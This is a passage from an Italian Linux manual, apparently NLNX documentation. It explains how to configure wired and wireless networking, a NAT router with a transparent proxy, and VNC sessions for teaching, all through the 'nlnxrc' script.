Per quanto riguarda la gestione delle interfacce di rete senza filo, va tenuto in considerazione che NLNX le gestisce solo nella modalità di funzionamento *managed*, ovvero si richiede la presenza di almeno un punto di accesso. Se si vuole usare una modalità di tipo *ad-hoc*, lo script '**`nlnxrc`**' non può essere usato per gestire tali interfacce.

In un altro capitolo appare una tabella con le opzioni che si possono usare all'avvio, caratterizzate per avere il prefisso '**`n_`**' (tabella 50.75). Molte di quelle opzioni consentono di intervenire nella configurazione della rete, ma solo nel caso di un elaboratore con un'interfaccia di rete singola. L'uso di quelle opzioni prevale sulla configurazione memorizzata diversamente e anche sull'uso eventuale di un servente DHCP.

53.1.1 Interfacce di rete senza fili

Le interfacce di rete senza fili, se il kernel è in grado di gestirle, vengono configurate normalmente, nello stesso modo di quelle Ethernet, attraverso lo script '**`nlnxrc`**'. Tuttavia, può darsi che la propria interfaccia richieda l'uso di NDISwrapper per gestire un file binario fatto per MS-Windows. In tal caso, i file necessari a NDISwrapper vanno messi nella directory '`/etc/windows-drivers/wifi/`' e da lì vengono caricati automaticamente attraverso lo script '`/etc/init.d/nlnx.ndiswrapper`', chiamato a sua volta da '`/etc/init.d/nlnx.network`'.

A titolo di esempio, la propria interfaccia di rete potrebbe richiedere l'installazione di un *driver* attraverso il programma '**`setup.exe`**'. Questo programma, in realtà, incorpora alcuni file che vanno estratti, ma non disponendo di uno strumento adatto, occorre eseguirlo, attraverso WINE, il quale va usato da un terminale durante una sessione grafica di lavoro:

$ **`wine setup.exe`** [*Invio*]

Il programma mostra probabilmente delle finestre di dialogo per richiedere la conferma della licenza e del percorso in cui installare i file che servono a gestire l'interfaccia. In questo caso si presume che sia stato proposto (e confermato) il percorso '`C:\Program Files\NETGEAR\WG311v3\`'. Ovviamente, in un sistema GNU/Linux non esiste un tale percorso, ma nella gestione di WINE potrebbe corrispondere a '`~/.wine/drive_c/Program Files/NETGEAR/WG311v3/`'. Tra i vari file che possono trovarsi nella destinazione prevista, vanno scelti quelli con estensioni '`.inf`', '`.cat`' e '`.sys`'. Si suppone che siano stati ottenuti precisamente i file '`WG311v3.INF`', '`WG311v3.cat`', '`WG311v3.sys`' e '`WG311v3XP.sys`'.[1]

I file trovati vanno collocati nella directory '`/etc/windows-drivers/wifi/`', come già accennato. Se questi file sono quelli giusti, avviando manualmente il comando '`/etc/init.d/nlnx.ndiswrapper`' si dovrebbe osservare che un'interfaccia '**`wlan`*n***' risulta attiva:

$ **`iwconfig`** [*Invio*]

```
wlan1     IEEE 802.11g  ESSID:off/any
          Mode:Managed  Channel:0  Access Point: Not-Associated
          Bit Rate:1 Mb/s   Sensitivity=-200 dBm
          RTS thr=2346 B   Fragment thr=2346 B
          Power Management:off
          Link Quality:0  Signal level:0  Noise level:0
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0
```

Va però osservato che non si può produrre un DVD *live* o altra forma di NLNX per la distribuzione contenente tali file per MS-Windows, perché di norma si tratta di software proprietario (non libero). Pertanto, per assicurare che questo principio venga rispettato, durante la produzione del DVD, le directory '`/etc/windows-drivers/*/`' vengono svuotate automaticamente nella destinazione. Eventualmente, per forzare questa situazione, occorre modificare lo script '`/etc/init.d/nlnx.ndiswrapper`' in modo che carichi i file di gestione delle interfacce da un'altra collocazione. Sull'argomento si può leggere anche il capitolo 41.

53.1.2 Individuazione delle interfacce di rete

Le interfacce di rete Ethernet sono identificate da nomi del tipo '**eth0**', '**eth1**',... '**eth*n***', oppure '**wlan0**', '**wlan1**',... '**wlan*n***', nel caso di quelle per i collegamenti senza fili. Ma l'attribuzione del numero ***n*** alle interfacce non è controllabile. In pratica, può capitare che la prima e unica interfaccia di rete abbia il nome '**eth7**'. Quando si vogliono realizzare delle configurazioni abbastanza uniformi tra elaboratori che hanno una sola interfaccia di rete Ethernet, è improbabile che il nome attribuito all'interfaccia di rete sia lo stesso.

Con NLNX, quando si indica il nome di un'interfaccia Ethernet si può usare il nome effettivo ('**eth0**', '**eth1**',... '**wlan0**', '**wlan1**', ecc...), oppure si può fare riferimento a una variabile. Sono previste diverse variabili per questo scopo, da annotare esattamente così: '**$ETH0**', '**$ETH1**', '**$ETH2**', oppure '**$WLAN0**', '**$WLAN1**', '**$WLAN2**'. Questi nomi si riferiscono, rispettivamente, alla prima, alla seconda e alla terza interfaccia Ethernet, oppure alla prima, alla seconda e alla terza interfaccia WiFi, indipendentemente dal nome effettivo che gli viene attribuito automaticamente. Inoltre, è possibile usare la sigla '**AUTO**' per scegliere automaticamente la prima interfaccia, senza dover sapere se di tipo '**eth**...' o '**wlan**...'. Negli esempi dei capitoli, si intende utilizzare questa rappresentazione generica.

53.1.3 Connessione in una rete locale tradizionale

L'utilizzo di NLNX in una rete locale, che può disporre eventualmente di un router, si configura normalmente attraverso lo script '**nlnxrc**', senza bisogno di intervenire direttamente con '**iwconfig**', '**ifconfig**' e '**route**'.

La configurazione predefinita di NLNX prevede l'uso del protocollo DHCP, in modo da attribuire automaticamente l'indirizzo alla prima interfaccia di rete e anche l'instradamento necessario a uscire dalla rete locale.

Figura 53.2. Utilizzo di NLNX in una rete locale tipica.

La figura mostra una situazione pratica: l'elaboratore in cui è in funzione NLNX deve utilizzare l'indirizzo IPv4 192.168.1.7 (in quanto si trova nella rete 192.168.1.0/255.255.255.0) e può accedere all'esterno della rete locale attraverso un router NAT raggiungibile all'indirizzo 192.168.1.254. Per configurare NLNX attraverso '**nlnxrc**' si procede nel modo seguente:

nlnxrc network config [*Invio*]

```
.------Internal network interface name--------.
| Please insert the real internal network     |
| interface name. To get auto configuration   |
| write "AUTO", to select the first Ethernet  |
| interface write "$ETH0", to select the      |
| first WLAN interface write "$WLAN0" and so  |
| on.                                         |
| .-----------------------------------------. |
| |$ETH0                                    | |
| '-----------------------------------------' |
|---------------------------------------------|
|           <  OK  >      <Cancel>            |
'---------------------------------------------'
```

$ETH0 [OK]

Qui è stata specificata la variabile '**$ETH0**', per fare riferimento alla prima interfaccia di rete Ethernet che risulti essere disponibile. Ma trattandosi dell'unica interfaccia presente, avrebbe potuto essere inserita la voce generica '**AUTO**', ottenendo lo stesso risultato.

```
.------Internal network interface address---------.
| Please insert the internal network interface    |
| IPv4 address.                                   |
| If you want to use auto configuration with      |
| DHCP, please write the word "AUTO" instead of   |
| the IPv4 address.                               |
| .---------------------------------------------. |
| |                                             | |
| '---------------------------------------------' |
|-------------------------------------------------|
|             <  OK  >       <Cancel>             |
'-------------------------------------------------'
```

192.168.1.7 [OK]

Come suggerisce il riquadro, volendo dichiarare esplicitamente di voler utilizzare il protocollo DHCP, al posto dell'indirizzo IPv4 si deve inserire la parola chiave '**AUTO**'. Ma in tal caso, le richieste successive non vengono fatte all'utente.

```
.--------Internal netmask----------.
| Please insert the internal IPv4  |
| network mask. Please note that   |
| the default netmask for the      |
| address class is 255.255.255.0:  |
| .------------------------------. |
| |255.255.255.0                 | |
| '------------------------------' |
|                                  |
|----------------------------------|
|       <  OK  >    <Cancel>       |
'----------------------------------'
```

255.255.255.0 [OK]

```
.Internal network router address--.
| Please insert the internal       |
| network IPv4 router address, or  |
| leave it blank if you don't      |
| have one:                        |
| .----------------------------.   |
| |                            |   |
| '----------------------------'   |
|----------------------------------|
|     <  OK  >    <Cancel>         |
'----------------------------------'
```

192.168.1.254 [OK]

Si osservi che se la rete locale dovesse essere sprovvista di un router (una rete locale isolata), è importante evitare di indicare come indirizzo del router lo stesso indirizzo dell'interfaccia di rete locale, perché la concomitanza degli indirizzi fa presumere alla procedura prevista per NLNX che il nodo locale sia precisamente un router nei confronti della rete locale. Pertanto, **in mancanza di un router, il dato va lasciato in bianco**.

```
.-------------/etc/resolv.conf----------------.
| Do you need a default "/etc/resolv.conf"?   |
|                                             |
| Answer "No" if you want to keep it          |
| unchanged.                                  |
|---------------------------------------------|
|           < Yes >      < No  >              |
'---------------------------------------------'
```

[YES]

Un risultato equivalente avrebbe potuto essere ottenuto attraverso le opzioni di avvio seguenti:

n_nic=$ETH0 n_ipv4=192.168.1.7 n_subnet_mask=255.255.255.0 n_router=192.168.1.254

53.1.4 Connessione in una rete locale via radio

NLNX può essere connesso alla rete locale anche con un'interfaccia WiFi, purché il kernel sia in grado di gestirla. Si procede in modo analogo a quanto già spiegato per la connessione tradizione. L'esempio successivo si riferisce all'elaboratore 192.168.1.21 che appare in figura.

Figura 53.8. Utilizzo di NLNX in una rete locale via radio.

nlnxrc network config [*Invio*]

```
.------Internal network interface name--------.
| Please insert the real internal network      |
| interface name. To get auto configuration    |
| write "AUTO", to select the first Ethernet   |
| interface write "$ETH0", to select the       |
| first WLAN interface write "$WLAN0" and so   |
| on.                                          |
| .------------------------------------------. |
| |$WLAN0                                     | |
| '------------------------------------------' |
|----------------------------------------------|
|            <  OK  >       <Cancel>           |
'----------------------------------------------'
```

$WLAN0 [OK]

Come nel caso dell'interfaccia di rete Ethernet, qui si utilizza la variabile '**$WLAN0**' per fare riferimento genericamente alla prima interfaccia di rete via radio. Anche in questo caso sarebbe possibile inserire la parola chiave '**AUTO**', per fare riferimento genericamente alla prima interfaccia di rete disponibile, ma in questo modo non sarebbe possibile definire una parte della configurazione.[2]

```
.-INTERNAL interface ESSID---.
| Please insert the INTERNAL |
| interface ESSID string:    |
| .-------------------------. |
| |nlnx-wifi                | |
| '-------------------------' |
|-----------------------------|
|   <  OK  >  <Cancel>        |
'-----------------------------'
```

Trattandosi di un'interfaccia di rete senza fili, occorre specificare l'identificativo ESSID stabilito per comunicare con il punto di accesso. Si suppone che corrisponda proprio alla stringa «nlnx-wifi»:

nlnx-wifi [OK]

```
.-INTERNAL interface encryption selection---.
| Please select the encryption type:        |
| .---------------------------------------. |
| |   WPA-PSK  previous_value             | |
| |   NONE     clear text communication   | |
| |   WEP      WEP40/WEP104 encryption    | |
| |   WPA-PSK  WPA-PSK encryption         | |
| '---------------------------------------' |
|-------------------------------------------|
|         <  OK  >     <Cancel>             |
'-------------------------------------------'
```

Va quindi specificata il tipo di comunicazione. In questo caso si tratta di un collegamento cifrato secondo la modalità WPA con chiave segreta, di cui ogni nodo deve essere a conoscenza:

WPA-PSK [OK]

```
.INTERNAL interface WPA-PSK passphrase--.
| Insert the INTERNAL interface WPA-PSK |
| passphrase, writing an hexadecimal    |
| value or a string delimited with      |
| "...".                                |
| .-----------------------------------. |
| |                                   | |
| '-----------------------------------' |
|---------------------------------------|
|         <  OK  >     <Cancel>         |
'---------------------------------------'
```

Pertanto va specificata la chiave segreta, ovvero la parola d'ordine. In questo caso la parola d'ordine è racchiusa tra apici doppi, per precisare che si tratta di una stringa; diversamente, senza essere delimitata, si intenderebbe una sequenza esadecimale.

"supersegretissimo" [OK]

Si prosegue quindi con le informazioni consuete, tenendo conto che anche in questo caso ci si può avvalere del DHCP, indicando la parola chiave '**AUTO**', al posto dell'indirizzo IPv4:

```
.------Internal network interface address---------.
| Please insert the internal network interface    |
| IPv4 address.                                   |
| If you want to use auto configuration with      |
| DHCP, please write the word "AUTO" instead of   |
| the IPv4 address.                               |
| .---------------------------------------------. |
| |                                             | |
| '---------------------------------------------' |
|-------------------------------------------------|
|             <  OK  >       <Cancel>             |
'-------------------------------------------------'
```

192.168.1.21 [OK]

```
.--------Internal netmask----------.
| Please insert the internal IPv4  |
| network mask. Please note that   |
| the default netmask for the      |
| address class is 255.255.255.0:  |
| .------------------------------. |
| |255.255.255.0                 | |
| `------------------------------' |
|                                  |
|----------------------------------|
|       <  OK  >    <Cancel>       |
`----------------------------------'
```

255.255.255.0 OK

```
.Internal network router address--.
| Please insert the internal      |
| network IPv4 router address, or |
| leave it blank if you don't     |
| have one:                       |
| .-----------------------------. |
| |                             | |
| `-----------------------------' |
|---------------------------------|
|     <  OK  >   <Cancel>         |
`---------------------------------'
```

192.168.1.254 OK

```
.-------------/etc/resolv.conf----------------.
| Do you need a default "/etc/resolv.conf"?   |
|                                             |
| Answer "No" if you want to keep it          |
| unchanged.                                  |
|---------------------------------------------|
|           < Yes >      < No  >              |
`---------------------------------------------'
```

YES

Un risultato equivalente avrebbe potuto essere ottenuto attraverso le opzioni di avvio seguenti:

n_nic=$WLAN0 n_w_essid=nlnx-wifi n_w_encryption=WPA-PSK n_w_wpa_psk="supersegretissimo" n_ipv4=192.168.1.21 n_subnet_mask=255.255.255.0 n_router=192.168.1.254

53.1.4.1 Connessione automatica in una rete non cifrata

Per connettersi a una rete WiFi non cifrata, non è necessario conoscere l'identificativo ESSID. Pertanto, per la configurazione, questa informazione va lasciata in bianco:

```
.-INTERNAL interface ESSID---.
| Please insert the INTERNAL |
| interface ESSID string:    |
| .------------------------. |
| |                        | |
| `------------------------' |
|----------------------------|
|   <  OK  >  <Cancel>       |
`----------------------------'
```

OK

```
.-INTERNAL interface encryption selection---.
| Please select the encryption type:         |
| .--------------------------------------. |
| |   WPA-PSK  previous_value             | |
| |   NONE     clear text communication   | |
| |   WEP      WEP40/WEP104 encryption    | |
| |   WPA-PSK  WPA-PSK encryption         | |
| '--------------------------------------' |
|-------------------------------------------|
|          <  OK  >     <Cancel>            |
'-------------------------------------------'
```

NONE [OK]

...

È da osservare che la configurazione predefinita che si ottiene dalla produzione di un nuovo DVD *live* (o equivalente) prevede proprio la selezione automatica dell'identificativo ESSID con una rete non cifrata.

Per questo tipo di configurazione, nella quale la comunicazione è in chiaro e l'identificativo ESSID non viene specificato, è sufficiente indicare la parola chiave '**AUTO**' al posto dell'interfaccia di rete.

53.1.5 Router per una rete locale

NLNX può essere usato anche per intervenire in qualità di router al servizio di una rete locale, per la connessione con una rete esterna. Si immagina una situazione simile a quella della figura successiva.

Figura 53.19. NLNX utilizzato come router.

Nella figura, il router si colloca tra due reti: 172.21.*.* e 192.168.1.*. Per la precisione, la rete 172.21.*.* accede all'esterno attraverso la trasformazione degli indirizzi (NAT), perché si presume che gli instradamenti nella rete 192.168.1.* consentano di raggiungere l'esterno (Internet), ma non di accedere alla rete 172.21.*.*.

nlnxrc network config [*Invio*]

```
.------Internal network interface name--------.
| Please insert the real internal network      |
| interface name. To get auto configuration    |
| write "AUTO", to select the first Ethernet   |
| interface write "$ETH0", to select the       |
| first WLAN interface write "$WLAN0" and so   |
| on.                                          |
| .-----------------------------------------.  |
| |$ETH0                                    |  |
| '-----------------------------------------'  |
|----------------------------------------------|
|           <  OK  >      <Cancel>             |
'----------------------------------------------'
```

$ETH0 [OK]

```
.Internal network interface address--.
| Please insert the internal network |
| interface IPv4 address:            |
| .--------------------------------. |
| |                                | |
| '--------------------------------' |
|------------------------------------|
|       <  OK  >    <Cancel>         |
'------------------------------------'
```

172.21.254.254 OK

```
.-----Internal netmask-------.
| Please insert the internal |
| IPv4 network mask:         |
| .------------------------. |
| |255.255.0.0             | |
| '------------------------' |
|----------------------------|
|   <  OK  >  <Cancel>       |
'----------------------------'
```

255.255.0.0 OK

```
.Internal network router address--.
| Please insert the internal      |
| network IPv4 router address:    |
| .-----------------------------. |
| |                             | |
| '-----------------------------' |
|---------------------------------|
|     <  OK  >   <Cancel>         |
'---------------------------------'
```

172.21.254.254 OK

Dal momento che l'indirizzo del router per la rete interna coincide con l'indirizzo dell'interfaccia, la procedura intende che si debba specificare anche il collegamento con l'esterno:

```
.----External network interface name------.
| Please insert the real external network |
| interface name. To select the first     |
| Ethernet interface write "$ETH0", to    |
| select the first WLAN interface write   |
| "$WLAN0" and so on.                     |
| .-------------------------------------. |
| |$ETH1                                | |
| '-------------------------------------' |
|-----------------------------------------|
|         <  OK  >     <Cancel>           |
'-----------------------------------------'
```

Per funzionare correttamente, un router con le funzionalità che si richiedono qui deve avere due interfacce. Nel caso si trattasse di una sola interfaccia ci possono essere delle funzionalità che vengono a mancare, in ogni caso **si deve inserire sempre il nome reale dell'interfaccia, non un alias**.

$ETH1 OK

```
.External network interface address--.
| Please insert the external network |
| interface IPv4 address:            |
| .--------------------------------. |
| |                                | |
| '--------------------------------' |
|------------------------------------|
|       <  OK  >    <Cancel>         |
'------------------------------------'
```

192.168.1.253 OK

```
.-----External netmask-------.
| Please insert the external |
| IPv4 network mask:         |
| .------------------------. |
| |255.255.255.0           | |
| '------------------------' |
|----------------------------|
|   <  OK  >  <Cancel>       |
'----------------------------'
```

255.255.255.0 OK

```
.External network router address--.
| Please insert the external      |
| network IPv4 router address:    |
| .-----------------------------. |
| |                             | |
| '-----------------------------' |
|---------------------------------|
|     <  OK  >   <Cancel>         |
'---------------------------------'
```

192.168.1.254 OK

```
.----Transparent proxy------.
| Is this router a          |
| transparent proxy?        |
|---------------------------|
|     < Yes >   < No  >     |
'---------------------------'
```

Potrebbe essere conveniente sfruttare il proxy imponendo il suo utilizzo da parte della rete locale:

YES

Il router che si ottiene si comporta anche come firewall, secondo una configurazione di massima che dovrebbe impedire alcuni tipi di accesso dall'esterno. Tuttavia, se esistono effettivamente dei problemi di sicurezza, la configurazione del firewall deve essere valutata personalmente da chi si incarica di realizzare una rete locale del genere; eventualmente è possibile modificare lo script '`/etc/init.d/nlnx.network`'. Le istruzioni che riguardano la configurazione in qualità di router iniziano a partire dalla porzione di codice evidenziata dal confronto tra l'indirizzo locale e l'indirizzo del router interno:

```
…
    elif    [ "$INTERNAL_IPV4" = "$INTERNAL_ROUTER" ]
    then
        ##
        ## This is the router for the local network.
        ##
…
```

L’esempio mostrato fa riferimento a indirizzi IPv4 privati sia dal lato interno, sia dal lato esterno del router. Con questo esempio si vuole individuare una situazione che potrebbe essere abbastanza comune: una rete locale gestita attraverso un router la cui configurazione non può essere cambiata, senza la disponibilità di indirizzi privati a sufficienza per le esigenze di tutte le reti. Con la soluzione proposta dall’esempio, si va a utilizzare un solo indirizzo nell’ambito della rete precedente, aggiungendo un altro router per un’altra rete locale che comunque sarebbe irraggiungibile nell’ambito di quella preesistente (per mancanza di instradamenti), pertanto si rende necessario il NAT nel nuovo router inserito.

53.1.6 Router per una rete locale, attraverso un proxy

Se non esiste altra possibilità di accedere alla rete esterna se non attraverso un proxy HTTP, è possibile tentare di organizzare la configurazione del router NLNX in modo che il proprio proxy faccia riferimento a quello disponibile. Questo è comunque condizionato alla disponibilità di un servizio di risoluzione dei nomi di dominio (DNS) accessibile. Si immagina una situazione simile a quella della figura successiva.

Figura 53.30. NLNX utilizzato come router che deve avvalersi di un proxy.

Come già visto in un esempio di un'altra sezione, nella figura, il router si colloca tra due reti: 172.21.*.* e 192.168.1.*.

```
# nlnxrc network config[Invio]
```

```
.------Internal network interface name--------.
| Please insert the real internal network      |
| interface name. To get auto configuration    |
| write "AUTO", to select the first Ethernet   |
| interface write "$ETH0", to select the       |
| first WLAN interface write "$WLAN0" and so   |
| on.                                          |
| .------------------------------------------. |
| |$ETH0                                     | |
| '------------------------------------------' |
|----------------------------------------------|
|           <  OK  >       <Cancel>            |
'----------------------------------------------'
```

$ETH0 [OK]

```
.Internal network interface address--.
| Please insert the internal network |
| interface IPv4 address:            |
| .--------------------------------. |
| |                                | |
| '--------------------------------' |
|------------------------------------|
|       <  OK  >    <Cancel>         |
'------------------------------------'
```

172.21.254.254 OK

```
.-----Internal netmask-------.
| Please insert the internal |
| IPv4 network mask:         |
| .------------------------. |
| |255.255.0.0             | |
| '------------------------' |
|----------------------------|
|   <  OK  >  <Cancel>       |
'----------------------------'
```

255.255.0.0 OK

```
.Internal network router address--.
| Please insert the internal      |
| network IPv4 router address:    |
| .-----------------------------. |
| |                             | |
| '-----------------------------' |
|---------------------------------|
|     <  OK  >   <Cancel>         |
'---------------------------------'
```

172.21.254.254 OK

Dal momento che l'indirizzo del router per la rete interna coincide con l'indirizzo dell'interfaccia, la procedura intende che si debba specificare anche il collegamento con l'esterno:

```
.----External network interface name------.
| Please insert the real external network |
| interface name. To select the first     |
| Ethernet interface write "$ETH0", to    |
| select the first WLAN interface write   |
| "$WLAN0" and so on.                     |
| .-------------------------------------. |
| |$ETH1                                | |
| '-------------------------------------' |
|-----------------------------------------|
|         <  OK  >     <Cancel>           |
'-----------------------------------------'
```

Per funzionare correttamente, un router con le funzionalità che si richiedono qui deve avere due interfacce. Nel caso si trattasse di una sola interfaccia ci possono essere delle funzionalità che vengono a mancare, in ogni caso **si deve inserire sempre il nome reale dell'interfaccia, non un alias**.

$ETH1 OK

```
.External network interface address--.
| Please insert the external network |
| interface IPv4 address:            |
| .--------------------------------. |
| |                                | |
| '--------------------------------' |
|------------------------------------|
|       <  OK  >    <Cancel>         |
'------------------------------------'
```

192.168.1.253 OK

```
.-----External netmask-------.
| Please insert the external |
| IPv4 network mask:         |
| .------------------------. |
| |255.255.255.0           | |
| '------------------------' |
|----------------------------|
|   <  OK  >  <Cancel>       |
'----------------------------'
```

255.255.255.0 OK

```
.External network router address--.
| Please insert the external      |
| network IPv4 router address:    |
| .-----------------------------. |
| |                             | |
| '-----------------------------' |
|---------------------------------|
|     <  OK  >   <Cancel>         |
'---------------------------------'
```

In questo caso, non c'è alcun router esterno da poter raggiungere, pertanto si lascia il campo vuoto:

OK

```
.----Transparent proxy------.
| Is this router a          |
| transparent proxy?        |
|---------------------------|
|     < Yes >   < No  >     |
'---------------------------'
```

In questo caso, è necessario attivare la funzione di proxy imponendo il suo utilizzo da parte della rete locale:

YES

A questo punto, però, occorre fare delle modifiche manuali. Oltre a espandere la disponibilità di memoria di OOPS, è necessario che questo sia in grado di rinviare le richieste al proxy esterno. Si deve intervenire nei file '`/etc/oops/oops.cfg`' e '`/etc/oops/oops.cfg.nlnx`' dell'elaboratore che offre questo servizio per la rete locale, aggiungendo le direttive seguenti:

```
peer    192.168.1.254   8080 0 {
        # my_auth       my_login:my_password;
        parent ;
        allow   dstdomain * ;
}
```

Per maggiori dettagli sulla configurazione di questa funzionalità di OOPS conviene consultare la sua documentazione originale.

La seconda modifica da apportare riguarda il servizio DNS: non potendo contare su un accesso alla rete esterna, il servente DNS di NLNX non serve a nulla ed è necessario modificare il file '/etc/resolv.conf' di tutti gli elaboratori della rete locale:

```
nameserver 192.168.1.1
```

Questa situazione potrebbe essere complicata ulteriormente se per l'accesso al proxy esterno o al servente DNS è necessario utilizzare un router. In tal caso si comprende che è sufficiente specificare l'indirizzo di tale router esterno, senza lasciare il campo in bianco come è stato fatto negli esempi mostrati in questa sezione.

53.1.7 Indirizzi di rete da evitare assolutamente

Onde evitare inutili perdite di tempo, è bene rammentare che nelle reti con indirizzi privati è necessario evitare alcuni indirizzi di rete, che apparentemente sono innocui. La tabella seguente riepiloga le situazioni più comuni, tenendo conto delle maschere di rete predefinite.

Indirizzo	Maschera	Motivazione
172.16.0.0	255.255.0.0	L'indirizzo di rete della sottorete è identico all'indirizzo della rete complessiva.
172.31.0.0	255.255.0.0	L'indirizzo broadcast della sottorete è identico all'indirizzo broadcast della rete complessiva.
192.168.0.0	255.255.255.0	L'indirizzo di rete della sottorete è identico all'indirizzo della rete complessiva.
192.168.255.0	255.255.255.0	L'indirizzo broadcast della sottorete è identico all'indirizzo broadcast della rete complessiva.

53.2 VNC con «nlnxrc»

NLNX prevede un utilizzo semplificato di VNC (sezione 31.14), attraverso l'uso dello script '**nlnxrc**'. Il sistema ha lo scopo di facilitare sia la realizzazione di lezioni in video-conferenza, sia un accesso remoto personale.

Per quanto riguarda la gestione della videoconferenza, il meccanismo proposto dallo script '**nlnxrc**' è molto semplice e non prevede sistemi di sicurezza ferrei, per impedire che qualcuno si intrometta nella comunicazione.

Tabella 50.71. Script '**nlnxrc**': controllo di VNC.

Comando	Descrizione
`nlnxrc vncs`	Si avvia preferibilmente da una console per attivare un servente VNC, definendo una parola d'ordine.
`nlnxrc vncsc`	Attiva un servente VNC, definendo una parola d'ordine, assieme al cliente VNC necessario a interagire con questo.
`nlnxrc vncss`	Si avvia preferibilmente da una console per attivare un servente VNC condivisibile, definendo una parola d'ordine.
`nlnxrc vncssc`	Attiva un servente VNC condivisibile, definendo una parola d'ordine, assieme al cliente VNC necessario a interagire con questo.

Comando	Descrizione
`nlnxrc vncv` ***nodo*** `nlnxrc vncv-ssh` ***nodo***	Consente di visualizzare il servente VNC in funzione presso il nodo indicato. La seconda delle due forme di utilizzo, implica la creazione di un tunnel SSH per garantire un collegamento cifrato.
`nlnxrc vncc` ***nodo*** `nlnxrc vncc-ssh` ***nodo***	Consente di interagire con il servente VNC in funzione presso il nodo indicato. La seconda delle due forme di utilizzo, implica la creazione di un tunnel SSH per garantire un collegamento cifrato.
`nlnxrc sharedx`	Attiva un servente VNC condivisibile, utilizzando una parola d'ordine predefinita, assieme al cliente VNC necessario a interagire con questo.
`nlnxrc viewremotex` ***nodo***	Consente di visualizzare il servente VNC in funzione presso il nodo indicato, utilizzando la parola d'ordine predefinita. In pratica si usa per collegarsi a un servente VNC avviato con il comando '**`nlnxrc sharedx`**'.

53.2.1 Organizzazione e funzionamento

Le sigle dei vari comandi di '**`nlnxrc`**' hanno lo scopo di sintetizzare il senso degli stessi, come descritto nella tabella successiva.

Tabella 53.43. Sigle mnemoniche utilizzate.

Nome	Descrizione
`vncs`	*VNC server*
`vncsc`	*VNC server with client*
`vncss`	*VNC shared server*
`vncssc`	*VNC shared server with client*
`vncc`	*VNC client*
`vncv`	*VNC viewer*

VNC richiede di definire una parola d'ordine per autorizzare il collegamento tra servente e cliente. Con lo script '**`nlnxrc`**', questa parola d'ordine viene annotata nel file '`~/.vnc/passwd`' e può essere riutilizzata; eventualmente, alcuni comandi fanno uso di una parola d'ordine predefinita, all'interno di '**`vncrc`**' stesso.

Tutto il meccanismo previsto da '**`nlnxrc`**' è organizzato in modo tale da far funzionare il servente VNC sulla stazione grafica '**`:1`**', pertanto questa informazione non viene mai impartita, ma di conseguenza, in un certo elaboratore, è possibile avviare un solo servente VNC per volta.

I comandi che avviano un servente VNC richiedono di specificare espressamente la geometria dello schermo:

```
.-----------------geometry------------------.
| Select geometry:                          |
| .---^(-)--------------------------------. |
| |   1160x928   5:4                      | |
| |   1184x888   4:3                      | |
| |   1320x792   5:3                      | |
| |   1120x896   5:4                      | |
| |   1152x864   4:3                      | |
| |   1280x768   5:3                      | |
| |   1120x840   4:3                      | |
| |   1080x864   5:4                      | |
| |   1240x744   5:3                      | |
| |   1088x816   4:3                      | |
| |   1040x832   5:4                      | |
| |   1200x720   5:3                      | |
| |   1056x792   4:3                      | |
| |   1160x696   5:3                      | |
| |   1000x800   5:4                      | |
| |   1024x768   4:3 usual resolution     | |
| |   1120x672   5:3                      | |
| `---v(+)--------------------------------' |
|-------------------------------------------|
|           <  OK  >      <Cancel>          |
`-------------------------------------------'
```

Naturalmente, se si vuole accedere al servente VNC attraverso una finestra, conviene utilizzare una geometria leggermente inferiore a quella dello schermo che si ha effettivamente a disposizione. Per esempio, se si utilizza il sistema grafico a una risoluzione di 1024×768, può essere conveniente avviare il servente VNC a 960×720.

53.2.2 Utilizzo di un elaboratore remoto con un pubblico passivo

Si ipotizza la situazione in cui, per qualche ragione, si vuole utilizzare X presso un elaboratore remoto, offrendo ad altri la possibilità di visualizzare ciò che succede. Per fare questo occorre avviare presso l'elaboratore remoto il comando '**`nlnxrc vncs`**', mentre localmente si può utilizzare il comando '**`nlnxrc vncc`**' per poterlo controllare e '**`nlnxrc vncv`**' per la sola visualizzazione.

Figura 53.45. Utilizzo di un servente X presso un elaboratore remoto, con un pubblico passivo.

All'avvio del servente grafico viene richiesto di inserire una parola d'ordine, o di riutilizzare quella che si trova nel file '`~/.vnc/passwd`'. La parola d'ordine è l'unico mezzo reale per controllare l'accesso al servente grafico e deve essere fornita anche a chi visualizza o partecipa al controllo.

Il meccanismo proposto, vale in quanto ci si attende un comportamento corretto da parte del pubblico. Infatti, se invece di '**`nlnxrc vncv`**' si utilizza il comando '**`nlnxrc vncc`**', si ruba la sessione di controllo del servente grafico a chi invece ha il compito di svolgere la relazione.

53.2.3 Utilizzo di un elaboratore locale con un pubblico passivo

In questo caso si vuole riprodurre una situazione equivalente a quella della sezione precedente, dove però il servente grafico si trova presso lo stesso elaboratore locale del relatore. In tal caso, l'avvio del servente grafico si ottiene con il comando '**`nlnxrc vncsc`**', offrendo agli altri la possibilità di visualizzare con il comando '**`nlnxrc vncv`**'. Per il resto valgono le considerazioni già fatte nella sezione precedente.

Figura 53.46. Utilizzo di un servente X presso l'elaboratore locale, con un pubblico passivo.

Come già annotato nella sezione precedente, il meccanismo proposto, vale in quanto ci si attende un comportamento corretto da parte del pubblico. Infatti, se invece di '**`nlnxrc vncv`**' si utilizza il comando '**`nlnxrc vncc`**', si ruba la sessione di controllo del servente grafico a chi invece ha il compito di svolgere la relazione.

53.2.4 Utilizzo di un elaboratore remoto con un pubblico attivo

Si ipotizza la situazione in cui, per qualche ragione, si vuole utilizzare X presso un elaboratore remoto, offrendo a tutti la possibilità di interagirvi. Per fare questo occorre avviare presso l'elaboratore remoto il comando '**`nlnxrc vncss`**', mentre localmente si utilizzare il comando '**`nlnxrc vncc`**'.

Figura 53.47. Utilizzo di un servente X presso un elaboratore remoto con un pubblico attivo.

Rispetto alla descrizione delle sezioni precedenti, cambia il fatto che ogni utente partecipa al controllo del servente remoto.

53.2.5 Utilizzo di un elaboratore locale, con un pubblico attivo

In questo caso si vuole riprodurre una situazione equivalente a quella della sezione precedente, dove però il servente grafico che si vuole condividere, si trova presso lo stesso elaboratore che partecipa al suo controllo. L'avvio del servente grafico si ottiene con il comando '**`nlnxrc vncssc`**', mentre il controllo partecipativo del pubblico avviene sempre con il comando '**`nlnxrc vncc`**'.

Figura 53.48. Utilizzo di un servente X presso l'elaboratore locale.

$ nlnxrc vncssc

relatore

pubblico

$ nlnxrc vncc

53.2.6 Utilizzo senza parola d'ordine

